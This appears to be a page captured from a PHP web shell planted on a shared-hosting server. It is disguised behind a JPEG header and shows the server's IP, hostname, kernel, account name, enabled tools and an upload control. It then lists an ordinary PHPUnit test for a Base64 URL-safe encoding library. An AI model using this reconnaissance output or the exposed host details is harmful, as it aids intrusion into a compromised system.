����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.23.59.187 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/./gltevjme/cbt.bofirm.com/vendor/paragonie/constant_time_encoding/tests/ |
Upload File : |
<?php use ParagonIE\ConstantTime\Base64UrlSafe; use ParagonIE\ConstantTime\Binary; /** * Class Base64UrlSafeTest */ class Base64UrlSafeTest extends PHPUnit\Framework\TestCase { /** * @covers Base64UrlSafe::encode() * @covers Base64UrlSafe::decode() * * @throws Exception * @throws TypeError */ public function testRandom() { for ($i = 1; $i < 32; ++$i) { for ($j = 0; $j < 50; ++$j) { $random = \random_bytes($i); $enc = Base64UrlSafe::encode($random); $this->assertSame( $random, Base64UrlSafe::decode($enc) ); $this->assertSame( \strtr(\base64_encode($random), '+/', '-_'), $enc ); $unpadded = \rtrim($enc, '='); $this->assertSame( $unpadded, Base64UrlSafe::encodeUnpadded($random) ); $this->assertSame( $random, Base64UrlSafe::decode($unpadded) ); } } $random = \random_bytes(1 << 20); $enc = Base64UrlSafe::encode($random); $this->assertTrue(Binary::safeStrlen($enc) > 65536); $this->assertSame( $random, Base64UrlSafe::decode($enc) ); $this->assertSame( \strtr(\base64_encode($random), '+/', '-_'), $enc ); } }